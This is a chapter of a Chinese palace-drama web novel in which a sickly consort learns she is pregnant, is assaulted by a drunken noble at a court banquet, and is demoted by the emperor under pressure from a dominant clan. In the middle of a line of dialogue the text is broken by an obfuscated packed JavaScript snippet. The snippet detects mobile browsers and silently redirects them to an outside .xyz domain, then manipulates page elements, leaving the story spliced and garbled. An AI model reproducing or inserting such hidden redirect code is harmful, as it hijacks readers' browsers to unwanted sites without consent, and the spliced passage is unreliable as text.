她再醒来时,天色已黑。
惠儿见她醒了,连忙捧来温水,“十三殿下已经走了,娘娘昏迷了两个时辰,太医说娘娘是心气郁结,需得好好调养。”
胡玉烟头有些发晕,却见惠儿满脸愁容,问道:“你怎么了?”
惠儿直言:“奴婢担心娘娘。”
胡玉烟苦笑:“我是命里如此,倒是连累我宫里的宫人和我一起受苦。”
惠儿忙道:“娘娘是好人,姐妹们心里都尊敬娘娘。”
胡玉烟呼出一口浊气,又仰面躺下,望着帐顶发呆,只觉身子沉得像灌了铅,连指尖都提不起力气。
她忽而觉得累,不是身子上的疲惫,而是心上那种长年积压的疲惫,像一层一层裹着她的茧,怎么挣也挣不开。
赵长曙知她总是病着便常来看她。有一日夜里她醒了,正见着赵长曙抓着她的手垂泪,她抬手替他将眼泪拭去,又笑问:“陛下怎么哭了?”
赵长曙攥着她的手不放,替她将额发别到耳后,“世间至痛,眼睁睁看着自己的发妻因自己而心力交瘁、缠绵病榻。”
胡玉烟的话有些无力。
“妾身弱,不能伴君左右,是憾事。”
赵长曙带了哭腔,“阿烟,你叫我舒郎好不好?”
胡玉烟气若游丝,却还喃喃道:“舒郎……舒郎……”
她这才注意到,赵长曙脸上有一个红痕,宫中敢对天子动手的只有那一人了。她只装作没看见,抬手捧住赵长曙的脸颊。
赵长曙将她拥进怀里,细密的吻一下一下落在她的眉心、眼角。胡玉烟缩进他怀里,一开始是触及的绸缎的凉意,后来渐渐便暖起来了。
胡玉烟的病来回折腾了整整一年,几番好转又复沉疴,身形早已削得单薄如纸,走起路来都要人搀扶。
赵长昭倒是常来看她,隔三差五便拎着书卷、点心或新奇玩意儿来凝晖宫。但她每每听闻他的脚步声自远而近,心里却并无一丝欢喜,甚至生出一种难以言喻的倦怠。
她常叫宫人替她挡了回去,只说身子不适,不宜见客。
她原以为自己的身子早已空落得连生机都不剩了,太医那日诊完脉却愣了一下,几番确认后才战战兢兢地跪下禀道:“恭喜娘娘,已有了两个月的身孕了。”
胡玉烟怔怔地看着他,半晌没能回过神来。
她将首饰盒里的金钗全部塞进太医手里,跪地叩头求他保守秘密。
等太医答应了,她依旧靠在榻上,一言不发,掌中捏着的帕子已被攥得皱巴巴的,却像是捏住了一线不真实的浮光。
她低头抚了抚腹部,那里还未隆起,仍是那副骨瘦如柴的模样,仿佛这消息只是梦中的一句虚妄。
但奇异的是,从那一刻起,她心里那潭死水忽然起了涟漪。
当晚她没再拒绝药汤,甚至吩咐宫人煎得清些,易于下咽。她吃了一些点心,又倚在床榻上静静看了一会儿窗外的月亮。
风仍是冷的,身子依旧轻飘飘如浮絮,可她知道自己还有一口气,还能护一个人平安来到世上。
暮色降临,灯火次第点起,内侍的脚步声渐密。
上官楚平定叛乱有功,皇帝在内宫设宴宴请上官家众人。
自从知道自己有孕在身后,胡玉烟的身子一日日好起来。她挑了身叫人挑不出错的衣饰,匆匆赶去宴会。
高皇后一见她便道:“淑妃几日不见,气色倒是好些了。”
胡玉烟行了礼,话语依旧是绵软无力,“臣妾重病,忧心病气冲撞了娘娘。”
她识趣地在末席坐下,静静地看着宾客一一落座。
赵长昭的视线和她对上,朝她俏皮地眨眨眼,胡玉烟报之一笑。
上官楚的堂弟上官卓昂先行落座,朝赵长曙拱手道:“上官楚将军临行前忽然身子抱恙,不便入宫。”
赵长曙假作关切:“上官大人一向强健,怎么会突然抱恙?可曾请太医诊视?”
上官卓昂垂首回道:“将军在出征前操劳过度,近日又寒气入体,已有太医前去诊治,殿下勿忧。”
赵长曙轻轻点头,“既是如此,那便好好调养。朕命人开库房,取两根好参送去上官将军府。”
众人一一坐定,一曲新乐奏起,舞伎翩翩起舞。
胡玉烟扫视着宴会上的众人,上面坐着的都是上官家宗亲,赵国的江山虽是姓赵,实际却是由上官家把持多年。
她捏紧了袖口,将手放在小腹上才寻到一丝安心。
一曲将尽,酒意微醺,赵长曙正要唤宫人撤乐,却听上官卓昂忽地开口:“陛下,微臣斗胆,今日觐见,还有一事,需面禀。”
赵长曙略一皱眉,放下酒盏:“上官爱卿请讲。”
上官卓昂起身拱手,神色端肃。
“家兄上官楚将军有意为其长子上官华求娶安阳公主,特命微臣入宫禀奏,望陛下准允。”
赵长曙面色未动,只道:“朕记得上官公子早已婚配,连儿子也生下了。”
上官卓昂坦言:“上官公子原配夫人已于两月前病逝,上官公子乃是栋梁之材,风华正茂,与公主甚是相配。”
赵长曙举盏掩唇,抿了口酒入喉才道:“父君膝下子女多早夭,朕只安阳公主这一个妹妹,父君临终前也最是放心不下这个女儿,如今安阳年幼,朕实在不舍得将她嫁人。”
上官卓昂继续道:“公主芳龄已至,正宜及早筹谋。将军久镇边陲,心怀忠义,常念与天家世代交好,此番更是有意联姻,以固宗亲之情,安社稷之心。”
赵长曙目光在众人之间游移,终是微一蹙眉,语气温吞:“此事非小,容朕再与礼部议过,日后再定。”
上官卓昂却再度上前一步,拱手加重语气:“将军在军中已遣人备下婚聘之物,直待陛下首肯。”
赵长曙拢袖,指节轻轻叩着案几,片刻才缓缓点头,勉强带笑:“既是将军美意,朕……自不会拂了忠臣之愿。只是安阳公主向来体弱,等她再养上几日,朕便召她问问她的意思。”
上官卓昂终于退下,“多谢陛下。”
赵长曙举盏仰饮,一口酒下肚,又重重地将酒盏放在案上。
胡玉烟眼见此番闹剧,心中泛起一股说不出的郁气。
赵长曙说是再议,可上官卓昂这般强硬,这婚事应该是没有回旋的余地了。
安阳公主比赵长昭年长两岁,如今不过才十七,因是女儿家便在宫外金尊玉贵地养着。
她瞥向坐席上举杯饮酒的上官华,只觉对方年过三十,形貌猥琐,如何能与公主相配。胡玉烟偏头看向赵长昭,只见对方亦是面色铁青。
夜已深,月上中天,宫宴渐散,喧嚣一寸寸退去。
等到众人离去时,胡玉烟拢了拢肩上的纱披,正要转身,身后忽然传来一阵踉跄脚步。
“这位姑娘是?”带着酒气的男声闯入耳畔。
惠儿拦在胡玉烟身前,朗声道:“这是淑妃娘娘!”
胡玉烟微微侧身,只见一个高大的身影摇摇晃晃地倚在朱红宫墙上,金冠斜歪,袍角凌乱,正是今日席间求娶公主的上官华。
胡玉烟眉心一蹙,抬手作揖,正欲离开。
上官华却大笑一声,脚步踉跄着朝她走近,“娘娘如此姿容,竟也有几分像……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333480|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我梦中的仙人。”
“放肆!”她语气清冷。
“娘娘又如何?你说我把你怎么样了,那赵家皇帝敢说一个不字?”话音刚落,他竟伸手欲去触她衣角。
胡玉烟抬手欲打,却被上官华猛地扣住手腕,反压在身后的朱墙上。
惠儿见状大惊,惊呼一声,连忙转身奔去寻人。
胡玉烟冷眼怒视,另一只手猛然扬起,狠狠一掌甩在上官华脸上。
上官华被打得偏了头,酒意骤散几分,随即怒火中烧,抬手反扇回去,咬牙骂道:“贱人!”
“啪”地一声闷响,胡玉烟被打得失了重心,踉跄跌倒在地,她鬓发散乱,半边脸颊迅速泛起触目惊心的红肿。
“怎么回事!”一声厉呵传来,却是上官卓昂疾步朝这边跑来,看着瘫软在地,鬓发散乱的胡玉烟,立刻明白了这是怎么一回事。
他将胡玉烟从地上扶起,这时赵长曙与高皇后也来了。
高皇后勾起嘴角,一副看好戏的神情,“哟,这是怎么了?”
胡玉烟站稳了身子,只道:“臣妾不甚酒力,摔了一跤。”
赵长曙怒目圆睁,瞪视着上官华。
上官卓昂大笑一声上前,“一个女子罢了,陛下不必放在心上。”
赵长曙哼笑一声,转头看他,“大人以为呢?”
上官卓昂捋了捋胡须,见赵长曙是真的动了怒,道:“大公子御前失仪,我想上官大人回去之后一定会好好管教的,将来公主嫁入臣家,必不会委屈了公主。”
赵长曙扬手,身后的侍卫纷纷上前。
“上官华冲撞君王,拖出去打五十大板。”
侍卫将上官华押住,上官华面色难看,似有不服。
高皇后瞪了胡玉烟一眼,悠悠道:“淑妃已言是自己摔倒,陛下这是个什么意思?”
赵长曙看向高皇后,面色沉静,一字一顿地道:“意思就是这是天子的意思,是赏是罚,臣子都得受着。”
他挥手示意侍卫将上官华押下去。
上官卓昂却抬手制止,他拨开侍卫,几下将上官华的外袍脱了下来,直视着赵长曙道:“上官家是臣子,也尊你一声陛下,但陛下心中也要清楚上官家分量。”
他将上官华的外袍丢在赵长曙面前,“今日之事是华儿无礼,以衣袍带人,拿去打五十大板吧!”
夜深了,宫墙外传来几声狗吠。
高皇后哼笑一声,上前亲昵地拉住胡玉烟的手,“淑妃啊淑妃啊,看陛下对你多好,为了你不惜薄了上官家的面子。”
“你给朕滚!”赵长曙吼道。
高皇后也不恼,依旧朝上官卓昂撒着娇道:“叔父可别总怪侄女肚子不争气,叔父如今也见着了,皇帝与侄女并非一条心。”
上官卓昂瞥了一眼胡玉烟,又将目光放在赵长曙身上。
“陛下看样子是为美色所惑,我将禀报上官大人,此等红颜祸水应当好好惩治才对。”
赵长曙脸色一变,捏紧了拳头,随后背转过身,厉声道:“淑妃胡氏,冒犯天颜,令褫夺封号,废为庶人,幽禁冷宫。”
赵长曙的话一字一字砸进胡玉烟心中,她却并没反应。直到赵长昭将她从地上扶起,她才注意到高皇后和上官家的人都离开了。
赵长昭朝上官卓昂的方向啐了口唾沫。他已经十五了,正是长个子的年纪,如今已比胡玉烟要高上许多,看着眼前身量纤细的人,他强忍着想将人揽进怀里的欲望,只轻轻拍着她的背,又很快察觉到对方在颤抖。
胡玉烟将胳膊从赵长昭手中抽开,复又转身,在赵长曙的注视下越走越远。